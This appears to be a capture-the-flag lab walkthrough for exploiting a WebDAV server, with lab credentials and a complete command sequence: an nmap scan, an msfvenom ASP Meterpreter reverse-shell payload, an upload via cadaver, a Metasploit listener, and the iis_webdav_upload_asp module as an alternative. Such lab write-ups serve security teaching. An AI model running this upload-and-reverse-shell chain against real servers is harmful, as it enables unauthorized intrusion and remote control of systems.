Lab
Exploiting WebDAV by uploading a Meterpreter payload and catching the shell, with a Metasploit-only route shown afterward.
Objective: Exploit the service and retrieve the flag!
Credentials
The following username and password may be used to access the service.
| Username | Password |
|---|---|
| bob | password_123321 |
Nmap Scan
nmap -sV -sC -p80 10.3.25.152 --disable-arp-ping --script=http-enum
MSFvenom Payload
Build an ASP reverse-shell payload.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.9.2 LPORT=1337 -f asp > shell.asp
Upload
Connect with Cadaver, authenticate and upload the payload.
cadaver http://10.3.25.152/webdav
authenticate login
put shell.asp
The shell can be removed later by typing delete shell.asp.
Setup Listener with MSFconsole and Catch Shell
For msfconsole to work properly, start PostgreSQL first.
service postgresql start && msfconsole
use multi/handler
set LHOST 10.10.9.2
set LPORT 1337
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
Log in to WebDAV, click shell.asp, and the listener catches the shell.
MSFconsole Module to Exploit WebDAV
The same result can be reached with a dedicated module that uploads and triggers the shell in one step.
use exploit/windows/iis/iis_webdav_upload_asp
set HttpPassword password_123321
set HttpUsername bob
set PATH /webdav/revshell.asp
set RHOSTS 10.3.25.152
exploit